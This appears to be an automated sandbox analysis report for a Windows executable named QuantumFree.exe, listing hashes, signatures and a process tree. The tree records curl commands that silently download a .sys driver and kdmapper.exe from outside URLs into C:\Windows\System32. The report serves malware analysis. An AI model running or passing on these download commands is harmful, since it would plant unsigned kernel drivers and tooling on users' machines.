Analysis
- user interaction
yes - max time kernel
899s - max time network
456s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
05/07/2026, 23:41
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
QuantumFree.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
7 signatures
900 seconds
General
- Target QuantumFree.exe
- Size 761KB
- Sample260705-3pgbcsb19p
- SHA256 dbdd677111cdfd533a41d099623fd00d810767575266c4aab3c9f1ceef092dc7
- MD5 98fdcb55ce097ef41b5c70f8f7d136f7
- SHA1 aea158369d2903a5b94a9725a0dc9f9908692580
- SHA512 be5776b2327fe43c7d924a0a587a0cd90b54f90be32276d1c8f2cfec39c494350670c0c9b98ed83864e4cc88d10e8397a64dc05eb6c517d49a4b83b7402e03b9
- SSDEEP 12288:81B0HR2Z4WKrTdXnBrw2gXwz3LUZTiPny+BPUdhyC6YLK2eoo9J:WB0x2ZYrTdXnZw2gX+LUJiPnNBPUdh+v
- TLSH T11FF4BF45F7F446F4C17BA13895A6AB1BF636748807209ADB23E401192FB77E04FBA361
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
1/10
Malware Config
Signatures
- Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName taskmgr.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 2936 taskmgr.exe - Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 2936 taskmgr.exe Token: SeSystemProfilePrivilege 2936 taskmgr.exe Token: SeCreateGlobalPrivilege 2936 taskmgr.exe - Suspicious use of FindShellTrayWindow 64 IoCs
pid Process 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe - Suspicious use of SendNotifyMessage 64 IoCs
pid Process 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe 2936 taskmgr.exe - Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 4332 wrote to memory of 2756 4332 QuantumFree.exe 86 PID 4332 wrote to memory of 3104 4332 QuantumFree.exe 90 PID 4332 wrote to memory of 4188 4332 QuantumFree.exe 91 PID 4188 wrote to memory of 1200 4188 cmd.exe 92 PID 4332 wrote to memory of 224 4332 QuantumFree.exe 100 PID 224 wrote to memory of 1904 224 cmd.exe 101 PID 4332 wrote to memory of 3928 4332 QuantumFree.exe 107 PID 4332 wrote to memory of 4572 4332 QuantumFree.exe 108
Processes
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C:\Users\Admin\AppData\Local\Temp\QuantumFree.exe"C:\Users\Admin\AppData\Local\Temp\QuantumFree.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:4332 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵PID:2756
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵PID:3104
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/x7ic4m.sys --output C:\Windows\System32\hobo.sys >nul 2>&12⤵
- Suspicious use of WriteProcessMemory
PID:4188 -
C:\Windows\system32\curl.execurl --silent https://files.catbox.moe/x7ic4m.sys --output C:\Windows\System32\hobo.sys3⤵PID:1200
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c curl -L --silent https://github.com/R3L8ntLe55/map/raw/refs/heads/main/kdmapper_Release.exe --output C:\Windows\System32\kdmapper.exe >nul 2>&12⤵
- Suspicious use of WriteProcessMemory
PID:224 -
C:\Windows\system32\curl.execurl -L --silent https://github.com/R3L8ntLe55/map/raw/refs/heads/main/kdmapper_Release.exe --output C:\Windows\System32\kdmapper.exe3⤵PID:1904
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵PID:3928
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c pause2⤵PID:4572
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C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /01⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2936